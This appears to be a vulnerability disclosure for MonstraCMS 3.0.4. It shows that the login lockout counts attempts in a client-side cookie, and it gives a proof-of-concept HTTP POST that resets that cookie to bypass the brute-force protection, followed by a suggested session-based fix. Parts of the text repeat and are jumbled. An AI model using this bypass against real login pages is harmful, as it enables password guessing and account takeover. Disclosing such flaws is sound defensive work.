if (Cookie::get('login_attempts') && Cookie::get('login_attempts') >= 5) {
Notification::setNow('error', __('You are banned for 10 minutes. Try again later', 'users'));
}
line 437-442:
if (Cookie::get('login_attempts') < 5) {
$attempts = Cookie::get('login_attempts') + 1;
Cookie::set('login_attempts', $attempts , 600);
} else {
Notification::setNow('error', __('You are banned for 10 minutes. Try again later', 'users'));
}
if (Cookie::get('login_attempts') < 5) {
$attempts = Cookie::get('login_attempts') + 1;
Cookie::set('login_attempts', $attempts , 600);
} else {
Notification::setNow('error', __('You are banned for 10 minutes. Try again later', 'users'));
}
Proof of Concept
Steps to Reproduce:
Always set login_attempts cookie to 0 before send the POST request or if you using burp the cookie will not incrementing.
POST /monstra-3.0.4/admin/index.php?id=pages HTTP/1.1
Host: 127.0.0.1
Content-Length: 42
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Cookie: PHPSESSID=lsmo61pd53fe8gnmv77uck0c07; _ga=GA1.1.876410326.1527893558; _gid=GA1.1.716559964.1527893558; login_attempts=i%3A0%3B
Connection: close
MonstraCMS 3.0.4 Implementing bruteforce protection in login form but we manage to bypass because we can control the cookie value.
Vulnerable Code:
https://github.com/monstra-cms/monstra/blob/dev/plugins/box/users/users.plugin.php
line 396-400:
line 437-442:
Proof of Concept Steps to Reproduce:
Always set login_attempts cookie to 0 before send the POST request or if you using burp the cookie will not incrementing.
POST /monstra-3.0.4/admin/index.php?id=pages HTTP/1.1 Host: 127.0.0.1 Content-Length: 42 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 Cookie: PHPSESSID=lsmo61pd53fe8gnmv77uck0c07; _ga=GA1.1.876410326.1527893558; _gid=GA1.1.716559964.1527893558; login_attempts=i%3A0%3B Connection: close
login=admin&password=[PASSWORD_HERE]&login_submit=Log+In
Recommended Patch: Don't use cookie since we can easily control the value using Session much better